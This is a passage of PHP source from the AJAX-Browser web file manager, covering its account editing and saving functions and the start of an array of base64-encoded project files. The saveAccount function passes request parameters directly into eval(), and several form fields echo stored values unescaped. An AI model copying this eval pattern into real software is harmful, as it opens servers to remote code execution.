                                <IMG src='<?php echo INSTAL_DIR; ?>icones/Infos.png' title='<?php echo $ABS[601]; ?>' onclick="RQT.get(ServActPage,{method:'post', parameters:'mode=request&accounts=edituser&user=<?php echo $UserName;?>', onEnd:'OpenBox(request.responseText);'});"/>
                                <IMG src='<?php echo INSTAL_DIR; ?>icones/Trash.png' title='<?php echo $ABS[602]; ?>' onclick="RQT.get(ServActPage,{method:'post', parameters:'mode=request&accounts=removeuser&user=<?php echo $UserName;?>', onEnd:'PopBox(\'mode=request&accounts=\',\'OpenBox(request.responseText);\');'});"/>
                        </td>
                </tr>
  <?php
                }
                ?>
                <tr>
                        <td>
                <?php echo $ABS[528]; ?>
                <SELECT name="UnBlackListed">
<?php foreach ($GLOBALS['AJAX-Var']['BlackList'] as $ip => $n) echo "                   <OPTION value=\"$ip\">".$n." => [".$ip."]</OPTION>";?>
                </SELECT>
                        </td>
                        <td title="UnblacListed this">
                                <IMG style="vertical-align:middle;text-align:center;" src='<?php echo INSTAL_DIR; ?>icones/type-reload.png' title='<?php echo $ABS[652]; ?>' onclick="RQT.get(ServActPage,{method:'post', parameters:'mode=request&accounts=&UnBlackListed=<?php echo $_SERVER['REMOTE_ADDR'];?>', onEnd:'OpenBox(request.responseText);'});"/>
                        </td>
                </tr>
                <tr>
                        <td colspan=2 class="button">
                                <div class="center"  onclick="if (NewUser=prompt('<?php echo $ABS[653]; ?>')) {RQT.get(ServActPage,{method:'post', parameters:'mode=request&accounts=adduser&user='+NewUser, onEnd:'PopBox(\'mode=request&accounts=edituser&user='+NewUser+'\',\'OpenBox(request.responseText);\');'});}"><?php echo $ABS[603]; ?></div>
                        </td>
                </tr>
</table>
<?php
}
function editAccount($UserName, $StrToSaveThis, $onend)
{
        global $ABS;
?>
<table style="width:400px;margin:3px;margin-right:15px;">
        <tr>
                <td colspan=2 class="border">
                        <span class="large"><?php echo $ABS[11].' : '.$UserName; ?></span><br/>
                        <table style="width:100%;margin:3px;">
                                <tr>
                                        <td><?php echo $ABS[604]; ?></td>
                                        <td><?php echo $ABS[605]; ?> : <input title="<?php echo $ABS[606]; ?>" type='checkbox' onchange="ID('ChgCODE').disabled=!this.checked;this.checked?ID('ChgCODE').value='<?php echo $ABS[607]; ?>':ID('ChgCODE').value='<?php echo $ABS[608]; ?>';" name="NewCode"/></p></td>
                                </tr>
                                <tr>
                                        <td><input class="border" type='text' name='usr_email' value="<?php echo $GLOBALS['AJAX-Var']['accounts'][$UserName]['usr_email']; ?>"/></td>
                                        <td><input class="border" title="<?php echo $ABS[609]; ?>" disabled=true type='text' name='code' id="ChgCODE" value="<?php echo $ABS[608]; ?>"/></td>
                                </tr>
<?php
        $LangLst = DirSort (INSTAL_DIR, array('Language*.php'));
        if ($LangLst)
        {
                $realABS = $ABS;
                foreach ($LangLst as $Lang)
                { // checked="checked"
                        include (INSTAL_DIR.$Lang);
                        echo "  <tr><td  colspan=\"2\" class=\"center\">
                <INPUT type=radio name=\"LANG\" value=\"".encode64($Lang)."\" id=\"".encode64($Lang)."\" ".(($GLOBALS['AJAX-Var']['accounts'][$UserName]['language_file']==$Lang) ? "checked=\"checked\"" : "").">
                        <label for=\"".encode64($Lang)."\" title=\"By: ".$ABS['language_translator']."\">".$ABS['language_in_Language'].' ('.$ABS['language_in_English'].') V'.$ABS['language_version'].' <img  '.$ABS['language_src_flag']." title=\"".$ABS['language_abbreviation']."\"></label><br/>
        </td></tr>\n";
                }
                $ABS = $realABS;
                if ($_SESSION['AJAX-B']['droits']['GLOBAL_ACCOUNTS'] || $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING'])
                        echo '<tr><td colspan="2"><a href="http://ajaxbrowser.free.fr/Ajax-B_Pub/en/download.php#lang">'.$ABS[648].'</a></td></tr>';
                else
                        echo '<tr><td colspan="2"><a href="javascript:return false;" onclick="PopBox(\'mode=request&message=Please,%20Could%20you%20install%20:%20...%20language%20pack.%20Thank%20you.&titre=Add%20another%20language&contact=\',\'OpenBox(request.responseText);\');">'.$ABS[649].'</a></td></tr>';
        }
        elseif ($_SESSION['AJAX-B']['droits']['GLOBAL_ACCOUNTS'] || $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING'])
                echo '<tr><td colspan="2"><a href="http://ajaxbrowser.free.fr/Ajax-B_Pub/en/download.php#lang">Get Languages</a></td></tr>'; // ne pas utiliser de variable $ABS[...]
?>
                        </table>
                </td>
        </tr>
        <tr><td colspan="2"><br/><?php echo $ABS[610]; ?></td></tr>
        <tr>
                <td class="border">
<?php
if ($_SESSION['AJAX-B']['droits']['GLOBAL_ACCOUNTS'] || ($UserName==$_SESSION['AJAX-B']['login'] && $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING']))
{?>
                        <?php echo $ABS[611]; ?><br/>
                        <INPUT class="border" type='text' ondblclick="this.value=base64.decode(racine64);" title="<?php echo $ABS[500]; ?>" name="def_racine" VALUE="<?php echo $GLOBALS['AJAX-Var']['accounts'][$UserName]['def_racine']; ?>"/><br/>
                        <INPUT name="VIEWparent" id="..VIEW" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['..VIEW']?'checked':'');?>>
                                <label for="..VIEW"><?php echo $ABS[612]; ?></label><br/>
<?php }?>
                        <br/><?php echo $ABS[613]; ?><br/>
                        <INPUT type=radio name="def_mode" value="arborescence" id="arbs" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['def_mode']=='arborescence') ? "checked" : ""; ?>>
                                <label for="arbs"><?php echo $ABS[12]; ?></label><br/>
                        <INPUT type=radio name="def_mode" value="gallerie" id="gal" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['def_mode']=='gallerie') ? "checked" : ""; ?>>
                                <label for="gal"><?php echo $ABS[13]; ?></label>
                </td>
                <td class="border" title="<?php echo $ABS[613]; ?>"><?php echo $ABS[614]; ?><br/>
                        <INPUT type=radio name="mini_size" value="75" id="size75" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['mini_size']==75) ? "checked" : ""; ?>>
                                <label for="size75"><?php echo $ABS[615]; ?> (75px)</label><br/>
                        <INPUT type=radio name="mini_size" value="100" id="size100" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['mini_size']==100) ? "checked" : ""; ?>>
                                <label for="size100"><?php echo $ABS[616]; ?> (100px)</label><br/>
                        <INPUT type=radio name="mini_size" value="200" id="size200" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['mini_size']==200) ? "checked" : ""; ?>>
                                <label for="size200"><?php echo $ABS[617]; ?> (200px)</label><br/>
                        <INPUT type=radio name="mini_size" value="300" id="size300" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['mini_size']==300) ? "checked" : ""; ?>>
                                <label for="size300"><?php echo $ABS[618]; ?> (300px)</label><br/>
                        <INPUT type=radio name="mini_size" value="400" id="size400" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['mini_size']==400) ? "checked" : ""; ?>>
                                <label for="size400"><?php echo $ABS[619]; ?> (400px)</label><br/>
                </td>
        </tr>
<?php
if ($_SESSION['AJAX-B']['droits']['GLOBAL_ACCOUNTS'] || ($UserName==$_SESSION['AJAX-B']['login'] && $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING']))
{?>
        <tr><td colspan="2"><br/><?php echo $ABS[620]; ?></td></tr>
        <tr>
                <td class="border">
                        <input name="NEW" id="NEW" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['NEW']?'checked':'');?>>
                                <label for="NEW" title="<?php echo $ABS[622]; ?>"><?php echo $ABS[621]; ?></label><br/>
                        <input name="REN" id="REN" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['REN']?'checked':'');?>>
                                <label for="REN" title="<?php echo $ABS[624]; ?>"><?php echo $ABS[623]; ?></label><br/>
                        <input name="DEL" id="DEL" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['DEL']?'checked':'');?>>
                                <label for="DEL" title='<?php echo $ABS[626]; ?>'><?php echo $ABS[625]; ?></label><br/>
                        <input name="UNCOMP" id="UNCOMP" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['UNCOMPRESS']?'checked':'');?>>
                                <label for="UNCOMP" title='<?php echo $ABS[651]; ?>'><?php echo $ABS[650]; ?></label><br/>
                </td>
                <td class="border">
                        <input name="VIEWhiden" id=".VIEW" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['.VIEW']?'checked':'');?>>
                                <label for=".VIEW" title="<?php echo $ABS[628]; ?>"><?php echo $ABS[627]; ?></label><br/>
                        <input name="COPY" id="COPY" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['COPY']?'checked':'');?>>
                                <label for="COPY" title="<?php echo $ABS[630]; ?>"><?php echo $ABS[629]; ?></label><br/>
                        <input name="MOVE" id="MOVE" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['MOVE']?'checked':'');?>>
                                <label for="MOVE" title="<?php echo $ABS[632]; ?>"><?php echo $ABS[631]; ?></label><br/>
                </td>
        </tr>
        <tr><td colspan="2"><br/><?php echo $ABS[633]; ?></td></tr>
        <tr>
                <td colspan="2" class="border">
                        <input name="CP_VIEW" id="CP-VIEW" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['CP_VIEW']?'checked':'');?>>
                                <label for="CP-VIEW"><?php echo $ABS[634]; ?></label><br/>
                        <input name="CP_EDIT" id="CP-EDIT" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['CP_EDIT']?'checked':'');?>>
                                <label for="CP-EDIT"><?php echo $ABS[635]; ?></label>
                                <p><?php echo $ABS[636]; ?><br/><?php echo implode(', ',$GLOBALS['AJAX-Var']['global']['codepress_mask']);?></p>
                </td>
        </tr>
        <tr><td colspan="2"><br/><?php echo $ABS[637]; ?></td></tr>
        <tr>
                <td colspan="2" class="border">
                        <input name="DOWNLOAD" id="DOWNLOAD" type="checkbox" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['DOWNLOAD']?'checked':'');?>>
                                <label for="DOWNLOAD"><?php echo $ABS[638]; ?></label><br/><br/><?php echo $ABS[639]; ?><br/>
                        <INPUT type=radio name="UPLOAD" value="NO" id="NO" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['UPLOAD']=='NO') ? "checked" : ""; ?>>
                                <label for="NO"><?php echo $ABS[640]; ?></label><br/>
                        <INPUT type=radio name="UPLOAD" value="OnlyAlways" id="OA" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['UPLOAD']=='OnlyAlways') ? "checked" : ""; ?>>
                                <label for="OA"><?php echo $ABS[641].' : '.implode(', ',$GLOBALS['AJAX-Var']['global']['always_mask']);?> (<?php echo $ABS[14]; ?>)</label><br/>
                        <INPUT type=radio name="UPLOAD" value="ExceptRestrict" id="ER" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['UPLOAD']=='ExceptRestrict') ? "checked" : ""; ?>>
                                <label for="ER"><?php echo $ABS[642].' : '.implode(', ',$GLOBALS['AJAX-Var']['global']['restrict_mask']);?></label><br/>
                        <INPUT type=radio name="UPLOAD" value="ALL" id="all" <?php echo ($GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['UPLOAD']=='ALL') ? "checked" : ""; ?>>
                                <label for="all"><?php echo $ABS[643]; ?></label><br/>
                </td>
        </tr>
        <tr><td colspan="2"><br/><?php echo $ABS[644]; ?></td></tr>
        <tr><td colspan="2" class="border">
                <input name="GLOBAL_SETTING" id="GLOBAL-SETTING" type="checkbox" <?php echo $GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['GLOBAL_SETTING']?'checked':'';?>>
                <label for="GLOBAL-SETTING"><?php echo $ABS[645]; ?></label><br/>
                <input name="GLOBAL_ACCOUNTS" id="GLOBAL-ACCOUNTS" type="checkbox" <?php echo $GLOBALS['AJAX-Var']['accounts'][$UserName]['droits']['GLOBAL_ACCOUNTS']?'checked':'';?>>
                <label for="GLOBAL-ACCOUNTS"><?php echo $ABS[646]; ?></label><br/>
        </td></tr>
<?php }?>
        <tr class="center"><td colspan=2 title="<?php echo $ABS[647]; ?>">
                <SELECT>
<?php foreach ($GLOBALS['AJAX-Var']['accounts'][$UserName]['IP_count'] as $ip => $n) echo "                                     <OPTION>".$n." => [".$ip."]</OPTION>";?>
                </SELECT></td></tr>
        <tr>
                <td class="button center" style="width:50%;" onclick="PopBox('mode=request&accounts=','OpenBox(request.responseText);')"><?php echo $ABS[4]; ?></td>
                <td class="button center" style="width:50%;" onclick="form=document.forms[0];PopBox('mode=request<?php echo $StrToSaveThis;?>'+
(form.NewCode.checked?'&code='+form.code.value:'')+ '&def_mode='+getCheckedRadio(form.def_mode)+ '&mini_size='+getCheckedRadio(form.mini_size)+ '&usr_email='+base64.encode(form.usr_email.value)+ '&LANG='+getCheckedRadio(form.LANG)<?php if ($_SESSION['AJAX-B']['droits']['GLOBAL_ACCOUNTS'] || ($UserName==$_SESSION['AJAX-B']['login'] && $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING']))
echo "+ '&def_racine='+base64.encode(form.def_racine.value)+ '&VIEWhiden='+form.VIEWhiden.checked+ '&VIEWparent='+form.VIEWparent.checked+ '&DEL='+form.DEL.checked+ '&NEW='+form.NEW.checked+ '&REN='+form.REN.checked+ '&COPIE='+form.COPY.checked+ '&MOVE='+form.MOVE.checked+ '&CP_VIEW='+form.CP_VIEW.checked+ '&CP_EDIT='+form.CP_EDIT.checked+ '&DOWNLOAD='+form.DOWNLOAD.checked+ '&GLOBAL_SETTING='+form.GLOBAL_SETTING.checked+ '&GLOBAL_ACCOUNTS='+form.GLOBAL_ACCOUNTS.checked+ '&UPLOAD='+getCheckedRadio(form.UPLOAD)+ '&UNCOMP='+form.UNCOMP.checked";?>, '<?php echo $onend;?>')"><?php echo $ABS[10]; ?></td>
        </tr>
</table>
<?php
}
function saveAccount($UserName)
{
        global $usr_email, $def_mode, $def_racine, $mini_size, $code, $VIEWhiden, $VIEWparent, $REN, $NEW, $COPIE, $MOVE, $DEL, $CP_VIEW, $CP_EDIT, $DOWNLOAD, $GLOBAL_SETTING, $GLOBAL_ACCOUNTS, $UPLOAD, $LANG, $UNCOMP, $file_accounts;
        $droit = $_SESSION['AJAX-B']['droits'];
        $is_admin = $droit['GLOBAL_ACCOUNTS'];

        $GLOBALS['AJAX-Var']['accounts'][$UserName] = array (
                'code' => $code ? crypt($code,$UserName) : $GLOBALS['AJAX-Var']['accounts'][$UserName]['code'],
                'usr_email' => decode64($usr_email),
                'language_file' => decode64($LANG),
                'def_mode' => $def_mode,
                'mini_size' => eval('return '.$mini_size.';'),
                'last' => $GLOBALS['AJAX-Var']["accounts"][$UserName]['last'],
                'IP_count' => $GLOBALS['AJAX-Var']["accounts"][$UserName]['IP_count'],
                'def_racine' => $is_admin ? UnRealPath(decode64($def_racine)) : $GLOBALS['AJAX-Var']["accounts"][$UserName]['def_racine'],
                'droits' =>array (
                        '.VIEW' => $is_admin?eval('return '.$VIEWhiden.';'):$droit['.VIEW'],
                        '..VIEW' => $is_admin?eval('return '.$VIEWparent.';'):$droit['..VIEW'],
                        'REN' => $is_admin?eval('return '.$REN.';'):$droit['REN'],
                        'NEW' => $is_admin?eval('return '.$NEW.';'):$droit['NEW'],
                        'COPY' => $is_admin?eval('return '.$COPIE.';'):$droit['COPY'],
                        'MOVE' => $is_admin?eval('return '.$MOVE.';'):$droit['MOVE'],
                        'DEL' => $is_admin?eval('return '.$DEL.';'):$droit['DEL'],
                        'CP_VIEW' => $is_admin?eval('return '.$CP_VIEW.';'):$droit['CP_VIEW'],
                        'CP_EDIT' => $is_admin?eval('return '.$CP_EDIT.';'):$droit['CP_EDIT'],
                        'DOWNLOAD' => $is_admin?eval('return '.$DOWNLOAD.';'):$droit['DOWNLOAD'],
                        'GLOBAL_SETTING' => $is_admin?eval('return '.$GLOBAL_SETTING.';'):$droit['GLOBAL_SETTING'],
                        'GLOBAL_ACCOUNTS' => $is_admin?eval('return '.$GLOBAL_ACCOUNTS.';'):$droit['GLOBAL_ACCOUNTS'],
                        'UNCOMPRESS' => $is_admin?eval('return '.$UNCOMP.';'):$droit['UNCOMPRESS'],
                        'UPLOAD' => $is_admin?$UPLOAD:$droit['UPLOAD'],
                        ),
                );
        file_put_contents($file_accounts, var_export($GLOBALS['AJAX-Var']['accounts'], true));
        if ($_SESSION['AJAX-B']['login'] == $UserName)
        {
                $_SESSION['AJAX-B'] = array_merge(
                        array('login' => $UserName),
                        $GLOBALS['AJAX-Var']['global'],
                        $GLOBALS['AJAX-Var']['accounts'][$UserName]);
                unset ($_SESSION['AJAX-B']['code']);
        }
}
?>
',
  './AJAX-B/scripts/Arborescence.php' => 'PD9waHAKLyoqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogfCBBSkFYLUJyb3dzZXIgIC0gIGJ5IEFsYmFuIExPUEVaCiB8IENvcHlyaWdodCAoYykgMjAwNyBBbGJhbiBMT1BFWgogfCBFbWFpbCBidWdzL3N1Z2dlc3Rpb25zIHRvIGFsYmFuLmxvcGV6QGdtYWlsLmNvbQogKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiB8IFRoaXMgc2NyaXB0IGhhcyBiZWVuIGNyZWF0ZWQgYW5kIHJlbGVhc2VkIHVuZGVyCiB8IHRoZSBHTlUgR1BMIGFuZCBpcyBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlCiB8IG9ubHkgaWYgdGhpcyBjb3B5cmlnaHQgc3RhdGVtZW50IGlzIG5vdCByZW1vdmVkCiArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLwogJHBhcmVudDY0PWVuY29kZTY0KFVuUmVhbFBhdGgoZGVjb2RlNjQoJHJhY2luZTY0KS4nLi4vJykpOz8+CjxkaXYgY2xhc3M9Il9EaXZHcm91cCIgaWQ9Ijw/cGhwIGVjaG8gJHBhcmVudDY0Oz8+Ij4KCTxkaXYgY2xhc3M9IlRoaXMiIHRpdGxlPSI8P3BocCBlY2hvIGRlY29kZTY0KCRwYXJlbnQ2NCk7Pz4iIG9uY2xpY2s9ImxvY2F0aW9uLmhyZWY9Jzw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJHJhY2luZTY0LCAkcGFyZW50NjQsIFJlYnVpbGRVUkwoKSk/PiciPgoJCTxzcGFuIGNsYXNzPSJsZWZ0Ij4KCQkJPHNwYW4gY2xhc3M9IkluZGVudEltZyI+PElNRyBjbGFzcz0iY3Vyc2hhbmQiIHNyYz0iPD9waHAgZWNobyBJTlNUQUxfRElSOyA/Pmljb25lcy90eXBlLWZvbGRlci4uLnBuZyIvPjwvc3Bhbj4KCQkJPHNwYW4gY2xhc3M9Ikljb05hbWUiPgoJCQkJPHNwYW4gY2xhc3M9Ik5hbWUiPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCByZWFscGF0aChkZWNvZGU2NCgkcGFyZW50NjQpKS4nLycpPz48L3NwYW4+CgkJCTwvc3Bhbj4KCQk8L3NwYW4+CgkJPHNwYW4gY2xhc3M9InJpZ2h0Ij4KCQkJPGRpdiBjbGFzcz0iUm93VGFpbGxlIj48P3BocCBlY2hvICRBQlNbMzFdOz8+PC9kaXY+CgkJCTxkaXYgY2xhc3M9IlJvd01JTUUiPjw/cGhwIGVjaG8gJEFCU1szMl07Pz48L2Rpdj4KCQkJPGRpdiBjbGFzcz0iUm93RGF0ZSI+PD9waHAgZWNobyAkQUJTWzMzXTs/PjwvZGl2PgoJCQk8ZGl2IGNsYXNzPSJSb3dEcm9pdHMiPjw/cGhwIGVjaG8gJEFCU1szNF07Pz48L2Rpdj4KCQk8L3NwYW4+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9IkNvbnRlbnQiIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyI+Cgk8P3BocCBlY2hvIERlZ3JhZGVNb2RlIChkZWNvZGU2NCgkcmFjaW5lNjQpLCAnJywgJ0VuZCcsIHRydWUpOz8+Cgk8L2Rpdj4KPC9kaXY+Cjw/cGhwCmZ1bmN0aW9uIERlZ3JhZGVNb2RlICgkSXRlbSwgJEluZE9mZnNldCwgJGVuZD0nJywgJGZvcmNlPWZhbHNlKQp7CglnbG9iYWwgJHJhY2luZTY0LCAkbW9kZWxBcmJzOwoJJGl0ZW09SW5mb3NCeVVSTCgkSXRlbSk7CgkkUmVwbGFjZUxzdCA9IGFycmF5ICgKCQknJWl0ZW0lJyA9PiAkaXRlbVsnYmFzZW5hbWUnXSwKCQknJWl0ZW02NCUnID0+IGVuY29kZTY0KCRJdGVtKSwKCQknJWljb25lJScgPT5GaWxlSWNvKCRJdGVtKSwKCQknJUluZE9mZnNldCUnID0+ICRJbmRPZmZzZXQsCgkJJyVBcmJJbWclJyA9PiAnPElNRyAnLihpc19kaXIoJEl0ZW0pPydjbGFzcz0iY3Vyc2hhbmQiICc6JycpLidzcmM9IicuSU5TVEFMX0RJUi4naWNvbmVzLycuJGVuZC4oaXNfZGlyKCRJdGVtKT8nRGlyUGx1cyc6J0ZpbGUnKS4nLnBuZyIgb25jbGljaz0iUmVxdWVzdExvYWQoXCcnLmVuY29kZTY0KCRJdGVtKS4nXCcpIi8+JywKCQknJWNvbnRlbnQlJyA9PiBpc19kaXIoJEl0ZW0pPyRpdGVtWydjb250ZW50MCddLicgRG9zc2llcihzKSwgJy4kaXRlbVsnY29udGVudDEnXS4nIEZpY2hpZXIocykuJzooaXNzZXQoJGl0ZW1bJ2NvbnRlbnQwJ10pPydbWD0nLiRpdGVtWydjb250ZW50MCddLidweCwgWT0nLiRpdGVtWydjb250ZW50MSddLidweF0nOicnKSwKCQknJXJlYWxfc2l6ZSUnID0+ICRpdGVtWydzaXplJ10sCgkJJyVzaXplJScgPT4gU2l6ZUNvbnZlcnQgKCRpdGVtWydzaXplJ10pLAoJCScldHlwZSUnID0+ICRpdGVtWyd0eXBlJ10sCgkJJyVyZWFsX2RhdGUlJyA9PiAkaXRlbVsnZmlsZW10aW1lJ10sCgkJJyVkYXRlJScgPT4gc3Vic3RyICgkaXRlbVsnZmlsZW10aW1lJ10sMCw4KSwKCQknJXVpZG5hbWUlJyA9PiAkaXRlbVsndWlkbmFtZSddLAoJCScldWlkJScgPT4gJGl0ZW1bJ3VpZCddLAoJCSclZ2lkbmFtZSUnID0+ICRpdGVtWydnaWRuYW1lJ10sCgkJJyVnaWQlJyA9PiAkaXRlbVsnZ2lkJ10sCgkJJyVkcm9pdHMlJyA9PiAkaXRlbVsncGVybSddLAoJCSclbGluayUnPT5pc19kaXIoJEl0ZW0pP3N0cl9yZXBsYWNlKCRyYWNpbmU2NCwgZW5jb2RlNjQoJEl0ZW0pLCBSZWJ1aWxkVVJMKCkpOic/bW9kZT1yZXF1ZXN0JnZpZXc9Jy5lbmNvZGU2NCgkSXRlbSkgKTsKCQoJaWYgKCRfU0VTU0lPTlsnQUpBWC1CJ11bJ2Ryb2l0cyddWycuVklFVyddIHx8ICFlcmVnICgnXlwuJywkaXRlbVsnYmFzZW5hbWUnXSkgfHwgJGZvcmNlKQoJCXJldHVybiBzdHJfcmVwbGFjZSAoYXJyYXlfa2V5cygkUmVwbGFjZUxzdCksICRSZXBsYWNlTHN0LCAkbW9kZWxBcmJzKTsKCXJldHVybiAnJzsKfQo/Pg==',
  './AJAX-B/scripts/ArborescenceAddon.php' => 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KIAltb2RlbCA9ICI8P3BocCBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCciJywiXG4iKSwgYXJyYXkoJ1wiJywnXG4nKSwgJG1vZGVsQXJicyk7ID8+IjsNCklEKCdBbGwnKS5vbmNvbnRleHRtZW51PWZ1bmN0aW9uIChldmVudCkgeyBldmVudC5zdG9wUHJvcGFnYXRpb24oKTtyZXR1cm4gZmFsc2U7IH07IC8vIGJsb2NrIGxlIGNsaWNrIGRyb2l0IHNvdXMgZmlyZWZveA0KZnVuY3Rpb24gUmVxdWVzdExvYWQoZGlyNjQsIGZvcmNlKQ0Kew0KCWlmICghKHB0cjY0ID0gSUQoZGlyNjQpKSB8fCAhaXNfZGlyKGJhc2U2NC5kZWNvZGUoZGlyNjQpKSkgcmV0dXJuIGZhbHNlOw0KCWZvcmNlID0gZm9yY2UgPyB0cnVlIDogZmFsc2U7DQoJcHRyID0gcHRyNjQuY2hpbGROb2Rlc1swXS5jaGlsZE5vZGVzWzBdLmNoaWxkTm9kZXNbMF0ubGFzdENoaWxkOw0KCWlmIChwdHIuc3JjLmluZGV4T2YoIkRpclBsdXMucG5nIikhPS0xIHx8IGZvcmNlPT10cnVlKQ0KCXsNCgkJcHRyLnNyYyA9IHB0ci5zcmMucmVwbGFjZSgiRGlyUGx1cy5wbmciLCAiTG9hZGluZy5naWYiKTsNCgkJUlFULmdldA0KCQkoU2VydkFjdFBhZ2UsIC8vIG9uIGpvaW50IGxhIHBhZ2UgZW4gY291cg0KCQkJew0KCQkJCXBhcmFtZXRlcnM6J21vZGU9cmVxdWVzdCZzdWJsc3RvZj0nK2RpcjY0KycmbWF0Y2g9JyttYXRjaCwNCgkJCQlvbkVuZDonT3BlbkRpcigiJytkaXI2NCsnIiwgcmVxdWVzdC5yZXNwb25zZVRleHQuc3BsaXQoIlxcbiIpKScNCgkJCX0NCgkJKTsNCgl9DQoJZWxzZQ0KCXsNCgkJcHRyLnNyYyA9IHB0ci5zcmMucmVwbGFjZSggIkRpck1vaW4ucG5nIiwgIkxvYWRpbmcuZ2lmIik7DQoJCXB0cjY0LmNoaWxkTm9kZXNbMV0uc3R5bGUuZGlzcGxheSA9ICJub25lIjsNCgkJcHRyLnNyYyA9IHB0ci5zcmMucmVwbGFjZSgiTG9hZGluZy5naWYiLCAiRGlyUGx1cy5wbmciKTsNCgl9DQoJX2VzYyAoKTsNCn0NCmZ1bmN0aW9uIE9wZW5EaXIgKGRpcjY0LCBhcnJheSkNCnsNCiAJdmFyIGksIEluY2x1ZGU9JycsIEluZGVudEltZz0nJyxMc3RJbmRlbnQ9Jyc7DQoJSW5kZW50SW1nID0oT3Blbl9EaXI9IElEKGRpcjY0KSkuY2hpbGROb2Rlc1swXS5jaGlsZE5vZGVzWzBdLmNoaWxkTm9kZXNbMF07DQoJZm9yIChpPTA7aTxJbmRlbnRJbWcuY2hpbGROb2Rlcy5sZW5ndGgtMTtpKyspDQoJCUxzdEluZGVudCArPSAiPElNRyAgc3JjPSciK0luZGVudEltZy5jaGlsZE5vZGVzW2ldLnNyYysiJyAvPiI7DQoJaWYgKEluZGVudEltZy5sYXN0Q2hpbGQuc3JjLmluZGV4T2YoIkVuZCIpIT0tMSkNCgkJTHN0SW5kZW50ICs9ICI8SU1HICBzcmM9JyIrSW5zdGFsbERpcisiaWNvbmVzL1ZpZGUucG5nJyAvPiI7DQoJZWxzZQ0KCQlMc3RJbmRlbnQgKz0gIjxJTUcgIHNyYz0nIitJbnN0YWxsRGlyKyJpY29uZXMvTmV4dC5wbmcnIC8+IjsNCglmb3IgKGk9MTtpPGFycmF5Lmxlbmd0aDtpKyspDQoJCUluY2x1ZGUgKz0gQWRkSXRlbSAoYmFzZTY0LmRlY29kZShkaXI2NCksIGFycmF5W2ldLExzdEluZGVudCwgKGk9PWFycmF5Lmxlbmd0aC0xKT8iRW5kIjoiIik7DQoJT3Blbl9EaXIuY2hpbGROb2Rlc1sxXS5pbm5lckhUTUwgPSBJbmNsdWRlOw0KCU9wZW5fRGlyLmNoaWxkTm9kZXNbMV0uc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQoJSW5kZW50SW1nLmxhc3RDaGlsZC5zcmMgPSBJbmRlbnRJbWcubGFzdENoaWxkLnNyYy5yZXBsYWNlKCJMb2FkaW5nLmdpZiIsICJEaXJNb2luLnBuZyIpOw0KfQ0KZnVuY3Rpb24gQWRkSXRlbSAoZGlyLCBlbGVtZW50LCBMc3RJbmRlbnQsIGVuZCkNCnsNCgl2YXIgaXRlbT1lbGVtZW50LnNwbGl0KCJcdCIpOw0KCWl0ZW1bMF0gPSBiYXNlNjQuZGVjb2RlKGl0ZW1bMF0pOw0KCUl0ZW0gPSBtb2RlbC5yZXBsYWNlKC8laXRlbSUvZywgaXRlbVswXSk7DQoJSXRlbSA9IEl0ZW0ucmVwbGFjZSgvJWl0ZW02NCUvZywgYmFzZTY0LmVuY29kZShkaXIraXRlbVswXSkpOw0KCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyVpY29uZSUvZyxGaWxlSWNvKGl0ZW1bMF0pKTsNCglJdGVtID0gSXRlbS5yZXBsYWNlKC8lSW5kT2Zmc2V0JS9nLCBMc3RJbmRlbnQpOw0KCUl0ZW0gPSBJdGVtLnJlcGxhY2UoLyVBcmJJbWclL2csICc8SU1HICcrKGlzX2RpcihpdGVtWzBdKT8nY2xhc3M9ImN1cnNoYW5kIiAnOicnKSsnc3JjPSInK0luc3RhbGxEaXIrJ2ljb25lcy8nK2VuZCsoaXNfZGlyKGl0ZW1bMF0pPydEaXJQbHVzJzonRmlsZScpKycucG5nIiBvbmNsaWNrPSJSZXF1ZXN0TG9hZChcJycrYmFzZTY0